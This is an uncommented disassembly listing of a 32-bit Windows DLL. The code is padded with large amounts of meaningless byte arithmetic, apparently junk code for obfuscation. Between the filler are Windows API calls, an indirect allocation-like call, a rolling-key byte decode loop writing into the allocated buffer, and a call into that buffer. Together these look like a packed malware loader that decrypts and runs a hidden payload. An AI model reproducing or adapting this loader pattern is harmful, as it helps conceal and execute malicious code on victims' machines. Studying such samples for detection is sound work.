movsx edx, byte [ebp - 0x10]
mov eax, dword [ebp - 0xb8]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0xa1], dl
mov edx, dword [ebp - 0x58]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x18c]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 7], al
mov edx, dword [0x10008050]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x8a]
and eax, ecx
mov edx, dword [ebp - 0x28]
mov byte [edx], al
mov eax, dword [ebp - 0x48]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x30]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x43], cl
movsx ecx, byte [0x10008037]
mov edx, dword [ebp - 0xc0]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x29], cl
movsx ecx, byte [ebp - 0x79]
movsx edx, byte [ebp - 0x7a]
and ecx, edx
mov eax, dword [ebp - 0x40]
mov byte [eax], cl
mov ecx, dword [ebp - 0xd4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x48]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 3], dl
push 1
lea edx, [ebp - 0x3f4]
push edx
mov eax, dword [ebp - 0x22c]
push eax
mov ecx, dword [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x248]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x204], eax
movsx eax, byte [ebp - 4]
movsx ecx, byte [ebp - 0xc7]
sub eax, ecx
mov edx, dword [ebp - 0x30]
mov byte [edx], al
mov eax, dword [ebp - 0xb4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x49]
add ecx, edx
mov byte [0x10008037], cl
mov eax, dword [ebp - 0xc4]
sub eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x180]
mov dword [ecx], eax
movzx edx, byte [ebp - 0xd]
mov eax, dword [ebp - 0x188]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x31], dl
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x164]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x1c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x134]
or eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x130]
or ecx, dword [ebp - 0x64]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], ecx
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x74]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x88]
mov dword [ecx], eax
mov edx, dword [ebp - 0x78]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xb4]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0xc7], al
movsx edx, byte [ebp - 0x7a]
movsx eax, byte [ebp - 0x13d]
and edx, eax
mov ecx, dword [ebp - 0xd4]
mov byte [ecx], dl
mov edx, dword [0x10008054]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 4]
add eax, ecx
mov byte [ebp - 0x4b], al
jmp 0x10005dcf
mov edx, dword [ebp - 0x58]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x89]
add eax, ecx
mov byte [0x10008006], al
cmp dword [ebp - 0x1ec], 0x46a4
jb 0x100061b0
mov edx, dword [ebp - 0x1ec]
sub edx, 0x26
mov dword [ebp - 0x1ec], edx
movsx eax, byte [ebp - 0x118]
mov ecx, dword [0x10008058]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x30]
mov byte [ecx], al
mov edx, dword [ebp - 0x10c]
mov eax, dword [0x1000803c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [edx + 4]
sbb edx, dword [eax + 4]
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0xe0], edx
jmp 0x1000615b
mov dword [ebp - 0x1f0], 0x1aabe8ce
mov eax, dword [ebp - 0x28]
mov cl, byte [eax]
mov byte [ebp - 0x16e], cl
mov edx, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x90]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x114]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1f0]
sub eax, 0x1aa7e8ce
mov dword [ebp - 0x1f0], eax
mov ecx, dword [ebp - 0xb4]
mov dl, byte [ecx]
mov byte [ebp - 0x184], dl
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0xc6]
add ecx, edx
mov byte [ebp - 3], cl
mov dword [ebp - 0x1b0], 0x13140
movsx eax, word [ebp - 0x50]
movsx ecx, word [ebp - 0x54]
sub eax, ecx
movsx edx, word [ebp - 0x148]
movsx ecx, word [0x10008004]
sub edx, ecx
cmp eax, edx
jne 0x1000624d
mov edx, dword [ebp - 0xc0]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x79]
sub eax, ecx
mov byte [ebp - 0x4a], al
jmp 0x100070c2
movsx edx, byte [ebp - 0x39]
mov eax, dword [0x10008058]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x11], dl
mov edx, dword [ebp - 0xbc]
mov esi, dword [edx]
add esi, dword [ebp - 0x16c]
mov edi, dword [edx + 4]
adc edi, dword [ebp - 0x168]
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x64]
push ecx
mov edx, dword [ebp - 0x68]
push edx
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
call fcn.10007db0
mov dword [ebp - 0x3e4], esi
mov dword [ebp - 0x3e0], edi
mov dword [ebp - 0x3ec], eax
mov dword [ebp - 0x3e8], edx
mov eax, dword [ebp - 0x3e0]
cmp eax, dword [ebp - 0x3e8]
jl 0x10006306
jg 0x100062c5
mov ecx, dword [ebp - 0x3e4]
cmp ecx, dword [ebp - 0x3ec]
jb 0x10006306
mov edx, dword [0x10008044]
push edx
call fcn.10001470
add esp, 4
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x29]
and ecx, edx
mov byte [ebp - 2], cl
mov eax, dword [ebp - 0x80]
movsx ecx, byte [eax]
movsx edx, byte [0x10008001]
add ecx, edx
mov eax, dword [ebp - 0xc0]
mov byte [eax], cl
mov ecx, dword [ebp - 0x38]
push ecx
call fcn.10001470
add esp, 4
mov edx, dword [ebp - 0x1b0]
or edx, 0x200480
mov dword [ebp - 0x1b0], edx
mov eax, dword [ebp - 0x154]
mov cl, byte [eax]
mov byte [ebp - 0x254], cl
cmp byte [ebp - 0x254], 0x47
je 0x100063bf
cmp byte [ebp - 0x254], 0xda
je 0x10006341
jmp 0x100063d1
mov edx, dword [ebp - 0x1ac]
mov dword [ebp - 0x440], edx
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x128]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [eax + 4]
sbb eax, dword [ecx + 4]
mov ecx, dword [ebp - 0x84]
mov dword [ecx], edx
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x88]
mov eax, dword [edx]
add eax, dword [ebp - 0x74]
mov dword [0x10008020], eax
lea ecx, [ebp - 0x49]
mov dword [ebp - 0x19c], ecx
movsx edx, byte [ebp - 0x115]
mov eax, dword [0x10008058]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x6f], dl
mov ecx, dword [ebp - 0x10c]
mov edx, dword [0x1000803c]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ecx + 4]
xor ecx, dword [edx + 4]
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], ecx
jmp 0x100063d1
mov edx, dword [ebp - 0x78]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x115]
sar eax, cl
mov byte [ebp - 0x2a], al
mov ecx, dword [ebp - 0x1b0]
mov dword [ebp - 0x2bc], ecx
mov edx, dword [0x10008050]
mov al, byte [edx]
mov byte [ebp - 0x183], al
movsx ecx, byte [ebp - 0x29]
movsx edx, byte [ebp - 0x8a]
or ecx, edx
mov eax, dword [ebp - 0xf0]
mov byte [eax], cl
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x9014]
mov dword [ebp - 0x298], edx
movzx eax, byte [ebp - 0x31]
mov ecx, dword [ebp - 0x154]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x188]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0xc5]
sub edx, ecx
cmp eax, edx
je 0x10006fe8
mov dl, byte [ebp - 0x1e]
mov byte [ebp - 0x182], dl
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x30]
movsx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 2], cl
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x6d]
sar edx, cl
mov eax, dword [ebp - 0xf0]
mov byte [eax], dl
mov cl, byte [ebp - 0xc6]
mov byte [ebp - 0x215], cl
mov edx, dword [ebp - 0x17c]
mov eax, dword [edx]
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0
je 0x10006491
jmp 0x10006fbd
mov ecx, dword [ebp - 0x2bc]
push ecx
mov edx, dword [ebp - 0x1b0]
push edx
mov eax, dword [ebp - 0x1f0]
push eax
call dword [ebp - 0x298]
mov dword [ebp - 0x210], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [0x10008070], eax
mov ecx, dword [ebp - 0x210]
mov dword [ebp - 0x200], ecx
mov edx, dword [ebp - 0x28]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x4c]
and eax, ecx
mov byte [ebp - 0x6e], al
mov edx, dword [ebp - 0xb4]
mov al, byte [edx]
mov byte [ebp - 0x14d], al
movsx ecx, byte [ebp - 0x33]
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0xb8]
mov byte [edx], cl
lea eax, [ebp - 4]
mov dword [ebp - 0x264], eax
mov dword [ebp - 0x198], 0x933be2dc
mov ecx, dword [ebp - 0x154]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x31], dl
movsx edx, word [ebp - 0xc]
movsx eax, word [ebp - 0x148]
add edx, eax
mov word [ebp - 0xec], dx
lea ecx, [ebp - 0xcc]
mov dword [ebp - 0x43c], ecx
mov edx, dword [ebp - 0x134]
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x44c], edx
mov dword [ebp - 0x448], eax
mov ecx, dword [ebp - 0x164]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x194]
add edx, dword [eax]
mov dword [0x10008024], edx
lea ecx, [ebp - 0xf8]
mov dword [ebp - 0x2a0], ecx
mov edx, dword [ebp - 0x114]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x90]
add eax, dword [ecx]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x208], 0x6a
mov edx, dword [ebp - 0x30]
mov al, byte [edx]
mov byte [ebp - 0x16d], al
mov ecx, dword [ebp - 0x158]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xb4]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x1e], dl
movsx edx, byte [ebp - 0x1d]
movsx eax, byte [ebp - 0x21]
add edx, eax
mov byte [ebp - 0x49], dl
push 1
lea ecx, [ebp - 0x3f4]
push ecx
mov edx, dword [ebp - 0x410]
push edx
mov eax, dword [ebp - 0x414]
push eax
mov ecx, dword [ebp - 0x258]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x29c], eax
mov edx, dword [ebp + 8]
add edx, 0xb178
mov dword [ebp - 0x234], edx
mov eax, dword [ebp - 0x10c]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov dword [ebp - 0x3fc], ecx
mov dword [ebp - 0x3f8], edx
cmp dword [ebp - 0x3fc], 0xf21
jne 0x10006632
cmp dword [ebp - 0x3f8], 0x700000
je 0x10006634
jmp 0x10006676
mov eax, dword [0x10008054]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xd4]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0xc7], cl
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x48]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x14d], dl
mov edx, dword [ebp - 0x6c]
mov ecx, dword [0x1000801c]
sar edx, cl
mov eax, dword [ebp - 0x17c]
mov dword [eax], edx
jmp 0x100066ad
lea ecx, [ebp - 0x99]
mov dword [0x10008074], ecx
mov edx, dword [ebp - 0xa8]
mov al, byte [edx]
mov byte [ebp - 0x13e], al
mov ecx, dword [ebp - 0x48]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x32]
shl edx, cl
mov eax, dword [ebp - 0x48]
mov byte [eax], dl
mov cl, byte [0x10008036]
mov byte [ebp - 0x117], cl
mov edx, dword [ebp - 0x234]
mov dword [ebp - 0x1fc], edx
mov eax, dword [ebp - 0x2a0]
mov ecx, dword [ebp - 0x10c]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [eax + 4]
xor eax, dword [ecx + 4]
mov ecx, dword [0x1000803c]
mov esi, dword [ecx]
add esi, dword [ebp - 0xf8]
mov ecx, dword [ecx + 4]
adc ecx, dword [ebp - 0xf4]
mov dword [ebp - 0x404], edx
mov dword [ebp - 0x400], eax
mov dword [ebp - 0x40c], esi
mov dword [ebp - 0x408], ecx
mov edx, dword [ebp - 0x400]
cmp edx, dword [ebp - 0x408]
ja 0x1000677d
jb 0x1000671c
mov eax, dword [ebp - 0x404]
cmp eax, dword [ebp - 0x40c]
jae 0x1000677d
movsx ecx, byte [0x10008037]
mov edx, dword [ebp - 0x30]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x11], cl
movsx ecx, byte [ebp - 0x41]
mov edx, dword [ebp - 0xd4]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x58]
mov byte [edx], cl
mov eax, dword [ebp - 0xbc]
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
mov eax, dword [ebp - 0x138]
push eax
mov ecx, dword [ebp - 0x13c]
push ecx
mov edx, dword [ebp - 0x64]
push edx
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [ebp - 0x168]
push ecx
mov edx, dword [ebp - 0x16c]
push edx
call fcn.100014a0
add esp, 0x20
jmp 0x100067d0
movsx eax, byte [ebp - 0x13f]
movsx ecx, byte [ebp - 0x4a]
add eax, ecx
mov byte [ebp - 0x41], al
mov dword [ebp - 0x2a8], 0x10008008
mov edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x16e]
add eax, ecx
mov byte [ebp - 0x16d], al
movsx edx, byte [ebp - 0x4a]
mov eax, dword [ebp - 0x110]
movsx ecx, byte [eax]
add edx, ecx
mov byte [0x10008036], dl
mov dl, byte [0x10008006]
mov byte [ebp - 0x216], dl
mov dword [ebp - 0x1f4], 0x10280
movsx eax, word [ebp - 0x14c]
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0xed
je 0x100067f5
jmp 0x1000681c
mov ecx, dword [ebp - 0x84]
mov edx, dword [ebp - 0x98]
add edx, dword [ecx]
mov eax, dword [ebp - 0x94]
adc eax, dword [ecx + 4]
mov ecx, dword [ebp - 0xbc]
mov dword [ecx], edx
mov dword [ecx + 4], eax
jmp 0x10006f70
mov edx, dword [ebp - 0x114]
mov eax, dword [ebp - 0x88]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp - 0x58]
mov cl, byte [eax]
mov byte [ebp - 0x116], cl
mov edx, dword [ebp - 0x40]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x119]
or eax, ecx
mov byte [ebp - 5], al
mov dl, byte [0x1000805c]
mov byte [ebp - 0x181], dl
push 1
push 0
push 0x5673
mov eax, dword [ebp - 0x260]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x1b4], eax
mov ecx, dword [ebp - 0x1f4]
or ecx, 0x22551
mov dword [ebp - 0x1f4], ecx
movsx edx, byte [ebp - 0x89]
mov eax, dword [ebp - 0x264]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [0x10008058]
mov byte [eax], dl
mov ecx, dword [ebp - 0x208]
cmp ecx, dword [ebp - 0x1f4]
jae 0x10006e3b
movsx edx, byte [ebp - 0x14d]
mov eax, dword [ebp - 0x110]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx], dl
mov edx, dword [ebp - 0x104]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x100]
and eax, ecx
mov word [ebp - 0xcc], ax
mov edx, dword [ebp - 0x78]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x89]
add eax, ecx
mov byte [ebp - 0x33], al
mov edx, dword [0x10008064]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x181]
add eax, ecx
mov byte [ebp - 0xe], al
movsx edx, byte [ebp - 0x2a]
mov eax, dword [ebp - 0x58]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0xd4]
mov byte [eax], dl
mov ecx, dword [ebp - 0x88]
mov edx, dword [ebp - 0x74]
sub edx, dword [ecx]
mov dword [ebp - 0x6c], edx
movsx eax, byte [ebp - 0x4c]
mov ecx, dword [ebp - 0xd4]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0xf], al
mov eax, dword [ebp - 0x1fc]
mov cl, byte [eax]
mov byte [ebp - 0xcd], cl
movsx edx, byte [ebp - 0x183]
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 7], dl
push 0x2351
push 0
lea edx, [ebp - 0x1f8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 0x2a8]
mov ecx, dword [ebp - 0x160]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x15c]
sbb edx, dword [eax + 4]
mov eax, dword [0x1000804c]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0xf0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x158]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x99], dl
movsx edx, byte [ebp - 0x59]
mov eax, dword [ebp - 0x40]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x42], dl
mov ecx, dword [ebp - 0xc0]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x59]
xor edx, eax
mov ecx, dword [ebp - 0x30]
mov byte [ecx], dl
movsx edx, byte [ebp - 0x7a]
movsx eax, byte [ebp - 0x49]
or edx, eax
mov byte [ebp - 0x119], dl
movsx edx, byte [ebp - 0x21]
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x32], dl
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x80]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x30]
mov byte [eax], dl
mov ecx, dword [ebp - 0xc0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x41], dl
movzx edx, byte [ebp - 0xcd]
add edx, dword [ebp - 0x198]
mov byte [ebp - 0xcd], dl
movsx eax, byte [ebp - 0x13e]
movsx ecx, byte [ebp - 0x59]
add eax, ecx
mov byte [ebp - 0x118], al
movsx edx, byte [ebp - 0x8a]
movsx eax, byte [0x10008036]
add edx, eax
mov byte [0x10008037], dl
movsx ecx, word [ebp - 0x14c]
movsx edx, word [ebp - 0xec]
sub ecx, edx
mov word [ebp - 0x148], cx
mov eax, dword [ebp - 0x188]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x154]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0xd], cl
mov ecx, dword [0x10008010]
add ecx, dword [ebp - 0x13c]
mov edx, dword [0x10008014]
adc edx, dword [ebp - 0x138]
mov eax, dword [ebp - 0x84]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x194]
mov edx, dword [ebp - 0x180]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x74]
sub edx, dword [ebp - 0x1a8]
mov dword [ebp - 0x6c], edx
movsx eax, byte [ebp - 0x42]
movsx ecx, byte [ebp - 0x79]
sub eax, ecx
mov byte [ebp - 0xf], al
mov dl, byte [ebp - 0xcd]
mov cl, byte [ebp - 0x198]
ror dl, cl
mov byte [ebp - 0xcd], dl
push 0x100011c4
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x10008078], ax
mov eax, dword [ebp - 0x80]
movsx edx, byte [eax]
movsx ecx, byte [0x10008037]
shl edx, cl
mov byte [ebp - 0x116], dl
movsx eax, byte [ebp - 0x13f]
mov ecx, dword [ebp - 0x78]
movsx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0xd4]
mov byte [ecx], al
movsx edx, byte [ebp - 0x99]
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [0x10008058]
mov byte [eax], dl
movsx edx, byte [0x10008006]
mov eax, dword [ebp - 0xa8]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x41], dl
mov ecx, dword [ebp - 0xdc]
and ecx, dword [ebp - 0xf8]
mov edx, dword [ebp - 0xd8]
and edx, dword [ebp - 0xf4]
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0xe0], edx
movsx eax, byte [ebp - 0x59]
movsx ecx, byte [ebp - 0x10]
sub eax, ecx
mov byte [ebp - 0x39], al
mov edx, dword [ebp - 0x88]
mov eax, dword [edx]
add eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0x17c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
mov ecx, dword [0x10008064]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x32], al
mov eax, dword [ebp - 0x200]
mov cl, byte [ebp - 0xcd]
mov byte [eax], cl
movsx edx, byte [ebp - 0x32]
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x118], dl
mov edx, dword [ebp - 0x1fc]
add edx, 1
mov dword [ebp - 0x1fc], edx
mov eax, dword [ebp - 0x80]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 1]
add ecx, edx
mov eax, dword [ebp - 0x28]
mov byte [eax], cl
mov ecx, dword [ebp - 0x200]
add ecx, 1
mov dword [ebp - 0x200], ecx
movzx edx, word [ebp - 0x60]
movzx eax, word [ebp - 0xcc]
and edx, eax
mov word [ebp - 0x100], dx
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x89]
sub edx, eax
mov byte [ebp - 2], dl
mov ecx, dword [ebp - 0xd4]
movsx edx, byte [ecx]
movsx eax, byte [0x10008006]
add edx, eax
mov byte [0x10008036], dl
push 0
lea ecx, [ebp - 0x414]
push ecx
mov edx, dword [ebp - 0x22c]
push edx
mov eax, dword [ebp - 0x230]
push eax
mov ecx, dword [ebp - 0x260]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x204], eax
imul edx, dword [ebp - 0x198], 0x6e15
mov dword [ebp - 0x198], edx
movsx eax, byte [ebp - 2]
movsx ecx, byte [ebp - 1]
add eax, ecx
mov byte [ebp - 0x1d], al
movsx edx, byte [ebp - 0xf9]
movsx ecx, byte [ebp - 0x182]
sar edx, cl
mov eax, dword [ebp - 0x80]
mov byte [eax], dl
movsx ecx, byte [0x10008001]
movsx edx, byte [ebp - 0x117]
or ecx, edx
mov byte [ebp - 7], cl
movsx eax, byte [ebp - 0x33]
movsx ecx, byte [ebp - 0x4a]
xor eax, ecx
mov byte [ebp - 0x10], al
mov edx, dword [ebp - 0x78]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xd4]
movsx ecx, byte [ecx]
shl eax, cl
mov edx, dword [ebp - 0x78]
mov byte [edx], al
movsx eax, byte [ebp - 0x79]
movsx ecx, byte [ebp - 0x117]
and eax, ecx
mov edx, dword [ebp - 0x18c]
mov byte [edx], al
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xc4]
sub ecx, dword [eax]
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x128]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [edx + 4]
adc edx, dword [eax + 4]
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x198]
ror eax, 0x17
mov dword [ebp - 0x198], eax
mov ecx, dword [ebp - 0x194]
mov edx, dword [ebp - 0x1ac]
sub edx, dword [ecx]
mov eax, dword [0x10008048]
mov dword [eax], edx
movsx ecx, byte [0x1000805c]
mov edx, dword [ebp - 0x158]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x41], cl
movsx ecx, byte [ebp - 0x2a]
mov edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x117], cl
mov ecx, dword [0x1000804c]
mov edx, dword [ebp - 0x160]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x15c]
sbb eax, dword [ecx + 4]
mov dword [ebp - 0xe4], edx
mov dword [ebp - 0xe0], eax
mov ecx, dword [ebp - 0x208]
add ecx, 0x269
mov dword [ebp - 0x208], ecx
mov edx, dword [ebp - 0x28]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x43]
and eax, ecx
mov byte [ebp - 0xe], al
mov edx, dword [ebp - 0x40]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xc0]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x49], al
mov eax, dword [0x10008064]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 1]
sar edx, cl
mov eax, dword [ebp - 0x158]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0x2ac], eax
mov ecx, dword [ebp - 0x78]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x264]
movsx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x48]
mov byte [eax], dl
mov ecx, dword [ebp - 0xc0]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x1e]
xor edx, eax
mov byte [ebp - 0x79], dl
mov ecx, dword [ebp - 0xc0]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x20]
shl edx, cl
mov byte [0x10008006], dl
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
sub ecx, dword [0x10008020]
mov dword [ebp - 0xa0], ecx
jmp 0x100068a1
movsx edx, byte [ebp - 0x29]
movsx eax, byte [ebp - 0x116]
and edx, eax
mov ecx, dword [ebp - 0x40]
mov byte [ecx], dl
movsx edx, byte [ebp - 0xf]
mov eax, dword [ebp - 0x158]
movsx ecx, byte [eax]
imul edx, ecx
mov byte [ebp - 0x20], dl
mov edx, dword [ebp - 0x210]
add edx, 0x14f
mov dword [ebp - 0x420], edx
lea eax, [ebp - 0x32]
mov dword [ebp - 0x20c], eax
mov ecx, dword [ebp - 0xc0]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x44]
add edx, eax
mov byte [ebp - 0x6f], dl
mov ecx, dword [ebp - 0x18c]
mov dl, byte [ecx]
mov byte [ebp - 0x217], dl
mov eax, dword [ebp - 0x158]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x78]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x116], cl
mov ecx, dword [ebp - 0x234]
add ecx, 0x14f
mov dword [ebp - 0x41c], ecx
mov edx, dword [ebp - 0x20c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x58]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x79], al
mov eax, dword [ebp + 8]
mov dword [ebp - 0x418], eax
mov cl, byte [ebp - 0x7a]
mov byte [0x1000805d], cl
mov dl, byte [ebp - 0x20]
mov byte [ebp - 0x21d], dl
mov eax, dword [ebp - 0x20c]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x13e]
add ecx, edx
mov eax, dword [ebp - 0x20c]
mov byte [eax], cl
push 0x100011dc
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x2c0], ax
lea ecx, [ebp - 5]
mov dword [ebp - 0x2b0], ecx
mov edx, dword [ebp - 0x2b0]
movsx eax, byte [edx]
mov ecx, dword [0x10008058]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x13d], al
lea eax, [ebp - 0x420]
push eax
call dword [ebp - 0x210]
mov ecx, dword [ebp - 0x188]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xc5]
add edx, eax
mov byte [ebp - 0x31], dl
lea ecx, [ebp - 0x148]
mov dword [ebp - 0x438], ecx
mov edx, dword [ebp - 0x78]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x110]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x1e], al
mov eax, dword [ebp - 0xc4]
sub eax, dword [ebp - 0x108]
mov dword [ebp - 0x190], eax
movzx ecx, word [ebp - 0x50]
push ecx
mov edx, dword [ebp - 0x180]
mov eax, dword [edx]
push eax
